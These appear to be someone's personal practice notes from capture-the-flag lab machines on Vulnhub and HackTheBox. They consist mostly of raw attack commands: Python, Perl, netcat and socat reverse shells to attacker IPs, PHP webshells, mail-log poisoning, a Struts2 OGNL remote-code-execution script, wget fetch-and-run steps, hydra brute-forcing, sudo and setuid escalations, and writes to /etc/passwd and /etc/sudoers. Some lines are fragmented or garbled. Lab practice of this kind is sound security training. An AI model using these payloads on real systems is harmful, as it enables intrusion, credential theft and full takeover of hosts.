My Practice on Vulnhub boxes
kioptix 2014
netdiscover -r ip nmap -p- -sV ip /pChart2.1.3/index.php - vulnerable - searcsploit lfi
Since we have an LFI and we know that the server is running Apache, let’s search for the apache config file. After checking this, I managed to find the httpd.config file.
usr/local/etc/apache22/httpd.conf
curl -H "User-Agent:Mozilla/4.0" http://192.168.1.68:8080
/phptax
searchsploit phptax https://gist.githubusercontent.com/mitchmoser/75bc055ce34794cac87ea9bc97a84e89/raw/3cc6165828d75e2c63a5442edfde731fc41b8e2f/Kioptrix 2014 searchsploit phptax RCE
$ apt-get install php7.0-curl $ php shell.php -u http://192.168.15.150:8080/phptax
This script drops an rce.php webshell into the /phptax/data/ directory.
mkfifo pipe;nc 192.168.15.141 1234<pipe|/bin/sh>pipe 2>pipe;rm pipe
/rce.php?cmd=nc 192.168.15.141 1234 > php-reverse-shell.php
uname -a shows the host is FreeBSD 9.0 release.
nc -lvp 1234 < 26368.c
nc 192.168.15.141 1337 > 26368.c
gcc -o 26368 26368.c
===================================================
vulnix
netdiscover -r ip
nmap -p- -sS -A ip
Great, we got many services running, notables are:
Port 22: SSH Port 25: SMTP Port 79: Finger Port 110: POP3 Port 111: RPCbind Port 143: IMAP Port 512: RSH (Remote shell) Port 513: RLogin Port 514: shell?
enum4linux
nc -nv ip 25 VRFY vulnix VRFY abatchy
http://tools.kali.org/information-gathering/smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.1.72
finger user@192.168.1.72
NFS service - 2069
showmount ip
showmount -e ip
mkdir /tmp/nfs
mount -r nfs ip:/home/vulnix /tmp/nfs -nolock
gaining access through ssh
hydra -l user -P rockyou.txt ip ssh -t 4
id vulnix
useradd -u 2008 vulnix
mount -t nfs ip:/home/vulnix /tmp/mnt -nolock
Let’s generate keys for SSH so we can login into vulnix!
Steps:
Create ssh key pair by running ssh-keygen. Create .ssh directory on the mounted share /home/vulnix/.ssh. Copy the content of the public key to /home/vulnix/.ssh. SSH into vulnix@victim_ip
Also due to the fact that there’s a secure_path set, we can’t manipulate the PATH variable (except by running sudo -e which we can’t).
Let’s edit the file and update /home/vulnix so we’re able to
Restart the VM and remount the shared directory. We can upload a local exploit to gain root, or just copy /bin/bash and give it setuid permissions.
We’ll run bash with -p flag to keep the original file’s permissions.
mount -t nfs 192.168.1.72:/home/vulnix /tmp/mnt
cp /bin/bash . chmod 4777 bash
ls -al ./bash -p
=====================================================
mkdir mnt && mount 192.168.22.134:/home/vulnix mnt -o vers=3
useradd -u 2008 vulnix
ssh -i id_rsa vulnix@192.168.22.134
By using sudoedit /etc/exports, it’s possible to add another share into the export list, one which uses the no_squash_root option; which prevents root users being remapped to the nobody user:
/home/vulnix (rw,root_squash) /root (rw,no_root_squash)
mount 192.168.22.134:/root mnt -o vers=3
=======================================================
nmap -sT -sV -A -O -v -p 1-65535 192.168.1.33
smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.1.33
git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git
Port 111 — Enumerating RPC — rpcbind 2–4 RPC service is running, so we can enumerate further using rpcinfo. root@kali:~# rpcinfo -p 192.168.1.33
nmap -sU -sT -p 2049 192.168.1.33
$ apt-cache search showmount nfs-common - NFS support files common to client and server $ apt-get install nfs-common
Enumeration is important, without knowing there’s a user called user you most likely won’t be able to solve this VM. Doesn’t matter which service you use, you can enumerate SMTP, Finger, NFS, …
showmount --exports 192.168.1.33 Export list for 192.168.1.33: /home/vulnix * Lets mount the remote share on our local machine. root@kali:~# mkdir /tmp/nfs root@kali:~# mount -t nfs 192.168.1.33:/home/vulnix /tmp/nfs
useradd -u 2008 vulnix root@kali:~# tail -1 /etc/passwd vulnix:x:2008:2008::/home/vulnix:/bin/sh root@kali:~# su vulnix $ id uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix) $ cd /tmp/nfs $ ls -la total 20 drwxr-x--- 2 vulnix vulnix 4096 Sep 2 2012 . drwxrwxrwt 15 root root 4096 May 16 18:17 .. -rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout -rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc -rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile $ pwd /tmp/nfs
ls /root/.ssh/ root@kali:~# ssh-keygen
root@kali:~# mount -t nfs 192.168.1.33:/home/vulnix /tmp/nfs root@kali:~# cp /bin/bash /tmp/nfs/ root@kali:~# cd /tmp/nfs/ root@kali:/tmp/nfs# ls -la
-=======================================
mywriteup
nmap to find ports and services
smtp find usernames with enum sccripts with metasploit wordlists unix_users.txt
finger to validate users
showmount -e ip - to validate the shared follders
rpcinfo ip - to validate the running services (nfs found) 2049
now mounting the folder in to local machine but it shows access denied , as well we got the suid with other command
mount -t nfs 192.168.1.33:/home/vulnix /tmp/nfs - access denied
mkdir mnt && mount 192.168.22.134:/home/vulnix mnt -o vers=3 - got some output 2008 suid
create a ssh key and upload it on server pub key on /tmp/mnt
echo 'key' > authorized_keys
login with vulnix
*for ssh bruteforcing we did hydra bruteforce with the following commnad hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.78.130 ssh -t 4
check the user uid - id vulnix*
=======
for shell ssh -i id_rsa -l vulnix 192.168.78.130
root@oscp:/# mount -t nfs 192.168.78.130:/ -o vers=2 mount
cc614640424f5bd60ce5d5264899c3be
=========================================================
sickos
nmap -Pn ip - becuase icmp block the ip
22 80 port found this box
dirb http://ip
test directory found
curl -X -v OPTIONS ip/test
found put,delete method working on the box
PUt file upload shell
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.78.131/test/shell.php
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.78.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
echo '#!/bin/bash' > update echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.78.128 443 >/tmp/f' >> update
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
mywriteup-
sickos - chkrootkit vulnerability cron jobs
nmap -Pn ip - becuase icmp block the ip
22 80 port found this box
dirb http://ip
test directory found
curl -X -v OPTIONS ip/test
found put,delete method working on the box
PUt file upload shell
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.78.131/test/shell.php
curl --upload-file phpshell.php -v --url http://192.168.78.131/test/test.php -O --http1.0
with nmap script nmap -p 80 ip --script http-put --script-args http-put.url='/test/php.php' ,http-put..file='put.php'
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.78.128 443 >/tmp/f' >> update
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update - this is for add user in to sudoers list
perl -e \’use Socket;$i=”192.168.209.151″;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};\’
echo “perl -e ‘use Socket;$i=\”192.168.209.151\”;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};'” > /tmp/update
for root - above reverse shell
with curl low priv shell
curl "http://192.168.78.131/test/shell.php?cmd=python+-c+%27import+socket%2csubprocess%2 cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22192.168.78.128%22%2c443))%3bos.dup2(s.f ileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22- i%22%5d)%3b%27"
============================================
linux permissions r = read permission w = write permission x = execute permission
= no permission
Number Permission Type Symbol 0 No Permission --- 1 Execute --x 2 Write -w- 3 Execute + Write -wx 4 Read r-- 5 Read + Execute r-x 6 Read +Write rw- 7 Read + Write +Execute rwx
'764' absolute code says the following:
Owner can read, write and execute Usergroup can read and write World can only read
u user/owner g group o other a all
Adds a permission to a file or directory
Removes the permission
= Sets the permission and overrides the permissions set earlier.
Changing Ownership and Group For changing the ownership of a file/directory, you can use the following command:
chown user
In case you want to change the user as well as group for a file or directory use the command
chown user:group filename
User rights/Permissions The first character that I marked with an underscore is the special permission flag that can vary. The following set of three characters (rwx) is for the owner permissions. The second set of three characters (rwx) is for the Group permissions. The third set of three characters (rwx) is for the All Users permissions. Following that grouping since the integer/number displays the number of hardlinks to the file. The last piece is the Owner and Group assignment formatted as Owner:Group.
==============================================
htb wall
one method: nmap -sC -sV 10.10.10.157
dirb ip
monitoring
change request in to post method
centreon post request api/
centreon/api/index.php?action=authenticate
hydra -l admin -P /usr/share/wordlists/rockyou.txt ip http-post-form "/centreon/api/index.php?action=authentication:username=^USER^&password=^PASS^:Bad Credentials" -V
python -c 'import pty; pty.spawn("/bin/bash")'
on victim attacekr mode socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
on kali listen mode socat file:tty,raw,echo=0 tcp-listen:4444
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
https://github.com/andrew-d/static-binaries
suid find / -perm /4000
screen 4.5.0 has suid bit
https://www.exploit-db.com/exploits/41154
https://0xrick.github.io/hack-the-box/wall/
2nd method
curl -X POST http://wall.htb/monitoring/
wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
==================================================================================
firstileaks
nmap -v -p 1-65535 -sV -O -sT 192.168.221.150
decode the image and got the password
keKkeKKeKKeKkEkkEk
PHP reverse shell The file name shell.php.png was used to bypass the web application filtering, the file was still executed as PHP (likely due to incorrectly configured Apache MIME types). A reverse shell successfully connected back to a netcat listener.
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis
cat cryptpass.py
import base64,codecs,sys
def encodeString(str): base64string= base64.b64encode(str) return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1]) print cryptoResult
python script to decrypt the password
import base64,codecs,sys
def encodeString(str): base64string= base64.b64encode(str) return codecs.encode(base64string[::-1], 'rot13')
def decodeString(str): string = str[::-1] string = string.encode("rot13") return base64.b64decode(string)
print decodeString(sys.argv[1])
sudo -u fristi .secret_admin_stuff/doCom /bin/sh
2nd method
php reverse shell upload and get back to the nc
echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
3rd method
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.0.3",5556));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
import base64,codecs,sys
def encodeString(str): base64string= base64.b64encode(str) return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1]) print cryptoResult
decode string
import base64,codecs,sys
def decodeString(str): base64string= codecs.decode(str, 'rot13') return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1]) print cryptoResult
[admin@localhost ~]$ python decryptpass.py $(cat whoisyourgodnow.txt) LetThereBeFristi! [admin@localhost ~]$ su fristigod Password: bash-4.1$ whoami fristigod
sudo -u fristi ./doCom /bin/bash
import base64 in_string = "=RFn0AKnlMHMPIzpyuTI0ITG" in_string_1 = in_string[::-1] in_string_2 = in_string_1.encode("rot13") print base64.b64decode(in_string_2) LetThereBeFristi!
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
==================================================================
stapler
nmap -sT -sV -A -O -v -p 1-65535 192.168.1.30
bash-4.1$ sudo -u fristi ./doCom whoami
==========================================================
11/12/2019
wintermute 1
kali <---------------> straylight <---------------> neuromancer (.128) (.129) (.128) (.129)
nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 20 -u http://192.168.30.129/
Hmm. What do we have here? /freeside/ looks interesting.
There’s another web-related port, 3000/tcp and ntopng is running behind it.
/turing-bolo/ has something that finally looks like an attack surface.
LFI vulnerability
PHP Injection There’s a Local File Inclusion (LFI) vulnerability with the bolo parameter in bolo.php, demonstrated below.
All four files case.log, molly.log, armitage.log, and riviera.log are available on the server, indicating the presence of the LFI vulnerability.
How can I inject PHP into the server?
A quick search in Google for “postfix log location” seems to suggest the logs are at /var/log/mail.log. This plays well into our hands because of the .log extension. Let’s explore this path of attack. ip/bolo.php?bolo=../../../../var/log/mail
<?php echo shell_exec($_GET['cmd']);?>
nc ip 25 Helo hackerman MAIL FROM: "hackerman <?php echo shell_exec($_GET['cmd']);?>"
root@kali:~# nc 192.168.56.102 25 220 straylight ESMTP Postfix (Debian/GNU) MAIL FROM:fake@email.com 250 2.1.0 Ok RCPT TO:<?php echo system($_POST['cmd']); ?> 501 5.1.3 Bad recipient address syntax
perl -e 'use Socket;$i="192.168.30.128";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
After encoding
perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.30.128%22%3B%24p%3D1234%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27
Long story short. I notice /bin/screen is a symbolic link to /bin/screen-4.5.0, which is setuid to root. Like they always say, Google is your best friend.
41154 - 4.5 screen
now move to next machine /structs2_2.3
Next Attack: Neuromancer
nc and socat are available on the machine
for port scanning
for p in $(seq 1 65535); do nc -nvzwl ip $p 2>&1; done| grep open >&1; done | grep open5); do nc -nvzw1 ip $p 2>
for port forwaring :
socat tcp-listen:8009,fork tcp:192.168.40.129:8009 &
socat tcp-listen:8080,fork tcp:192.168.40.129:8080 &
socat tcp-listen:34483,fork tcp:192.168.40.129:34483 &
netstat -plunt
from attacker machine
socat tcp-listen:4321,fork tcp:192.168.30.128:4321 &
Struts2 Showcase Remote Command Execution
exploit.sh
!/bin/bash
LHOST=192.168.30.128 LPORT=4321 RHOST=192.168.30.129 RPORT=8080 TARGETURI=struts2_2.3.15.1-showcase/integration URL=http://$RHOST:$RPORT/$TARGETURI/saveGangster.action CMD="$1" PAYLOAD="" PAYLOAD="${PAYLOAD}%{" PAYLOAD="${PAYLOAD}(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." PAYLOAD="${PAYLOAD}(#_memberAccess?(#_memberAccess=#dm):" PAYLOAD="${PAYLOAD}((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." PAYLOAD="${PAYLOAD}(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedPackageNames().clear())." PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedClasses().clear())." PAYLOAD="${PAYLOAD}(#context.setMemberAccess(#dm))))." PAYLOAD="${PAYLOAD}(@java.lang.Runtime@getRuntime().exec('$CMD'))" PAYLOAD="${PAYLOAD}}"
usage() { echo "Usage: $(basename $0) [COMMAND]" >&2 exit 1 }
if [ $# -ne 1 ]; then usage fi
curl -s -H "Referer: http://$RHOST:$RPORT/$TARGETURI/editGangster" --data-urlencode "name=$PAYLOAD" --data-urlencode "age=20" --data-urlencode "__checkbox_bustedBefore=true" --data-urlencode "description=1" -o /dev/null $URL
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.40.128 LPORT=4321 -f elf -o rev
./exploit.sh "wget -O /tmp/rev ip:port/rev"
got the shell now priv esccalation
for superior shell
ssh -i /root/keys/ta -p 34483 ta@ip
Ubuntu 16.04.04 LTS https://www.exploit-db.com/exploits/44298/
other method
And poked around a bit until I got to http://192.168.56.102:3000/lua/flows_stats.lua
php://filter/convert.base64-encode/resource=case
I went to http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail
root@kali:~# nc 192.168.56.102 25 220 straylight ESMTP Postfix (Debian/GNU) MAIL FROM:fake@email.com 250 2.1.0 Ok RCPT TO:<?php echo system($_POST['cmd']); ?> 501 5.1.3 Bad recipient address syntax
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=id"
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=which nc"
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=nc 192.168.56.101 4444 -e /bin/bash"
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@straylight:/var/www/html/turing-bolo$ find / -perm -u=s 2>/dev/null
db.com/exploits/41154, which I saved on my machine as exploit.sh and transferred to the target
root@kali:~# nc -nvlp 2222 < exploit.sh www-data@straylight:/var/www/html/turing-bolo$ cd /tmp www-data@straylight:/tmp$ nc 192.168.56.101 2222 > exploit.sh
Shell Hunting #2
python -c "import pty;pty.spawn('/bin/bash')"
root@straylight:/etc#
root@straylight:/tmp# for i in $(seq 1 255); do ping -c 1 192.168.212.$i; done | grep "bytes from"
root@straylight:/tmp# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.212.4 $i 2>&1; done | grep -v "Connection refused"
root@straylight:/tmp# socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.212.4:8009 & [1] 14514 root@straylight:/tmp# socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.212.4:8080 & [2] 14521 root@straylight:/tmp# socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.212.4:34483 & [3] 14524
root@straylight:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.56.101:6666 &
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666 -e /bin/bash" not work
And then setup a file in /var/www/html called callback.sh which contained
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/f
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh"
for permission root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/callback.sh"
fired
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/callback.sh"
got the shell now move to priv escalation
uname -a
It wasn't there, so I downloaded the exploit to /var/www/html on my machine as priv.c and compiled it locally
root@kali:~# gcc priv.c -o priv
$ cd /tmp $ wget http://192.168.212.3:8888/priv
https://blog.barradell-johns.com/index.php/2018/12/29/wintermute-one-writeup/
https://5h4d0wb0y.github.io/2017-05-12-the-necromancer1/
====================================================================================
Lin.security – walkthrough
Exploiting SUDO
ash
This is a command interpreter (shell). So by running sudo ash we can get a root shell.
whoami;id
awk
AWK is a special-purposeprogramming language designed for text processing and typically used as a data extraction and reporting tool. Since we can run awk using we sudo, we can easily escalate our privileges to root.
sudo awk 'BEGIN {system("/bin/sh")}'
bash
Bash is a Unix shell and command language. As with ash we can abuse our sudo rights to privesc.
bob@linsecurity:~$ sudo bash
sh
The Bourne shell (sh) is a shell, or command-line interpreter, for computer operating systems.
sudo sh
csh
The C shell (csh or the improved version, tcsh) is a Unix shell. As with for example sh we can use it to escalate to root.
sudo csh
curl
We can abuse curl in order to overwrite files as root. By creating a simple setuid binary on my machine, using curl to fetch the program and overwriting an already setuid binary owned by root on the target system, we can get a root shell.
Compile this program and start a python SimpleHTTPServer and go to the victim machine and fetch the file using curl.
sudo curl 192.168.1.142/rootshell -o /bin/ping ping
dash
Dash is an acronym for Debian Almquist shell (dash). It is a Unix and Linux shell which is much smaller than bash but still aiming at POSIX-compliancy. As with sh, bash etc. we just sudo dash and get a root shell.
sudo dash
ed
ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files. But can also execute commands from inside ed. Beacuse of this, root shell is really straight forward.
sudo ed !/bin/sh
env
env is a shellcommand for Linux, Unix, and Unix-like operating systems. It can be used to print a list of the current environment variables, or to run another program in a custom environment without modifying the current one.
sudo env /bin/sh
expect
Expect is a program that "talks" to other interactive programs according to a script. Following the script, expect knows what can be expected from a program and what the correct response should be.
sudo expect -c 'spawn /bin/sh;interact' spawn /bin/sh
find
Find is a command for recursively filtering objects in the file system based on a simple conditional mechanism. You can use find to search for a file or directory on your file system. Find do also have an exec parameter which we can abuse to escalate our privileges.
sudo find . -exec /bin/sh \; -quit
ftp
By issuing the command ftp without any parameters, we can run commands from within ftp.
sudo ftp !/bin/sh
less
We can execute commands from inside less. sudo less /etc/profile !/bin/sh
man
As above, we can execute commands from inside of man.
sudo man test !/bin/sh
more
bob@linsecurity:~$ sudo more /var/log/lastlog !/bin/sh
scp
scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.
socat
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes - including giving us a root shell!
On the attacker machine: socat file:tty,raw,echo=0 tcp-listen:1337
tty,raw,echo=0 tcp-listen:1337On the victim machine: sudo socat tcp-connect:192.168.1.142:1337 exec:sh,pty,stderr,setsid,sigint,sane
ssh
We can use the ProxyCommand option to spawn an interactive shell.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
As with man etc. we can execute commands from inside of vi.
sudo vi :!/bin/sh
zsh
The Z Shell or zsh is an interactive UNIX shell and powerful command-line interpreter for scripting language including shell scripting. Since it's a interactive shell we can easily get a root shell.
sudo zsh
pico
Pico is a simple, display-oriented text editor based on the pine message composer.
sudo pico ^R^X reset; sh 1>&0 2>&0
rvim
Depending on how rvim was compiled, we can spawn a root shell. In this case rvim was compiled with Python support.
sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")
perl
Since we can use perl with sudo, we can do the following to get a root shell.
sudo perl -e 'exec "/bin/sh"
tclsh
Tclsh is a shell-like application that reads Tcl commands from its standard input or from a file and evaluates them.
sudo tclsh % exec /bin/sh <@stdin >@stdout 2>@stderr
git
We can abuse the help function of git to get code execution as root.
sudo git help statu !/bin/sh
script
Script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. It is really useful and comes in handy in the strangest kind of times and places.
But this can obviously be abused to get a root shell.
sudo script -q /dev/null
Exploiting Crontab
Enumerating the box we find the following script running as a cronjob.
This is a backup script taking everything from a users home dir, compressing it using tar and saving it to /etc/backups.
The problem with tar is that when using wildcards an attacker can inject he's own arguments.
The following is taken from the man page (man tar):
--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint
The --checkpoint-action option will specify a program that will be executed when the checkpoint is reached. Basically allowing us arbitrary command execution
Now we setup a listener on our machine and wait for the cronjob to execute.
nc -lvnp 1337
Stealing Credentials
Looking at the home folders we see susan. Listing all files - including hidden files - we find .secret.
ob@linsecurity:/home/susan$ cat .secret MySuperS3cretValue!
bob@linsecurity:/home/susan$ su - susan Password: susan@linsecurity:~$ whoami;id susan
Setuid Weakness
Enmerating the machine for setuid binaries we find the following:
find / -perm -4000 2>/dev/null
xxd
xxd is owned by root and the setuid bit is set. By running this program we will run in the context of root, possibly giving us a way to escalate our privileges. It can however only be ran by root or members of the group "itservices" - exactly the group susan is a member of!
Let's dump /etc/shadow!
xxd /etc/shadow | xxd -r
NFS Share With R/W Permissions
Doing a nmap scan against the machine reveals that NFS is running. Let's first see if we can find any open shares which we can mount.
showmount -e 192.168.1.140
Awesome! Let's mount the share to /mnt/peter.
mount 192.168.1.140:/home/peter /mnt/peter
Looking at the UID and GID we see 1001/1005. This mean that I don't have that specific group and user on my system, so even if the share now is mounted I can't write files to the share.
To circumvent this, let's create a user with a UID of 1001 and a group with the GID 1005, and then change to that user and try to write a file.
groupadd --gid 1005 peter useradd --uid 1001 --gid 1005 peter su peter pwd
So, how do we utilize this to escalate to peter? How about generating a SSH key and adding that to peter's authorized_keys? Let's try.
Let's first generate a new SSH key.
$ ssh-keygen
Now, let's create a .ssh directory inside peter's home directory (on the share) and add the public key we just generated to authorized_keys.
pwd mkdir .ssh touch .ssh/authorized_keys cat /home/peter/.ssh/id_rsa.pub > .ssh/authorized_keys ssh peter@192.168.1.140
Exploiting The Docker Group
Looking at the groups peter is added to we see docker. This is a really powerful group and there's ton of information on the internet on how to privesc using the docker group.
The Docker Hub already have an image which we can use to get a root shell, called "rootplease".
docker run -v /:/linsecurity -i -t chrisfosterelli/rootplease
===================================================================================
5th January
Zico 2.1
nmap -sVC --top-ports 10000 -T4 192.168.55.5
The end of the URL, “php?page=tools.html” looks like we could do some directory traversal with it. Let’s give it a shot and see if we can print out /etc/passwd.
LFI vulnerability http://192.168.55.5/dbadmin/test_db.php.
searchsploit phpliteadmin
create a malicious database and got the shell
python tty shell python -c 'import pty; pty.spawn("/bin/bashww-data@zico:/$
we got the password of zico through wp-config.php
Linux kernel version 3.2.0-23 cp /usr/share/exploitdb/platforms/linux/local/40839.c .
gcc -pthread 40839.c -o dirtyroot -lcrypt
==========================================================
sickos
nmap -Pn -T4 -A ip
curl -v -X options ip/test/ - put method enabled
nmap --script http-methods --script-args http-methods.url-path="/test" 192.168.56.101
After this i quickly googled for any chkrootkit related exploits and found this exploit-db;
https://github.com/nathunandwani/fake-shell
2nd priv escalation
3rd priv escalation
==========================================================
Sedna
================================================
DC1 walkthrough
searchsploit drupal
Drupal /usr/share/exploitdb/exploits/php/webapps/34992.py - druapl sql injection
===================================================
DC 2 walkthrough
nmap -sn 10.0.2.0/24
Wordpress exploit
wpcan --url //dc-2 --enumerate u --enumerate p --enumerate t
cewl http://dc-2 >password
wpscan --url ip -U users -P password
ssh tom@ip -p 7744
vi used because of restricted shell
vi
:set shell=/bin/bash
After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
So, I tried to login to this SSH service using the extracted credentials and I succeeded. But I can not run any Linux command. This happened because the shell is restricted shell. So, I tried to escape it using VI editor.
====================================
Dc3
joomla exploit joomla 3.7
joomscan -url http://192.168.56.101 -enumerate-components
After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.
https://www.tunnelsup.com/hash-analyzer/
beez3 template -> reverse shell
In my journey, I came across an interesting page – Extensions > Templates
=======================================================
dc 4 walkthrough
nmap -A 192.168.1.101
We Fired UP!! burpsuite using rockyou.txt to get valid login. Username- admin
After bruteforcing, we have found the password for Admin i.e Password- happy
command .php Let’s check out subdirectories in the /home directory. We have found 3 users i.e Charles, Jim and Sam.
old.passwords.bak
hydra -L users -P passwords 192.168.1.101 ssh
Username- jim Password- jibril04 ssh jim@192.168.1.101
After some time thinking, it suddenly strikes us to check the /var/mail folder. Maybe it might contain something, and our instinct was right. We have found some credentials.
Username- Charles Password- ^xHhA&hvim0y
one exploit through adding sudoers, cronjobs and /etc/passwd
sudo -l echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
2nd blog
radio=nc -nv ip port -e /bin/bash&submit=run
nc lvnp 4444
echo " * root chmod 4777 /bin/sh" | sudo teechee -a /etc/crontab
3rd way for priv escalation
echo "jim ALL=(ALL:ALL) ALL" | sudo teechee -a /etc/sudoers
hydra -l jim -P pass.txt ssh://192.168.2.113
echo “charles ALL=(ALL:ALL) ALL” | sudo teehee -a /etc/sudoers
==================================================================
dc-5 walkthrough
Therefore, I Quickly checked for LFI Vulnerability by obtaining the /etc/passwd file as shown below.
file=/var/log/ngnix/access.log Let’s capture the request of the Nginx Access log file using Burpsuite. Here we will be using LFI to exploit apache access log.
In place of the file path, we have injected a Code to get the command line access by making a GET request to the Server.
<?php system($_GET['cmd']) ?>
So, I tried to view many files like : /etc/passwd, /etc/shadow, & /var/log/nginx/access.log. I found that some of them can be viewed (passwd & access.log).
2nd method
curl -A "<?=system('nc -nv ip 4444 -e /bin/bash');?>" http://ip/thankyou/php
To verify that it is working or not, we have added a new parameter to the URL i.e &cmd=id. Therefore from the output, it confirms we have successfully executed the command on the server. /var/log/ngnix/error.log&cmd=id
nc -e /bin/bash 192.168.1.110 1234
Privilege Escalation
find / -perm -u=s -type f 2>/dev/null
screen 4.5 searchsploit screen 4.5.0 searchsploit -m 41154
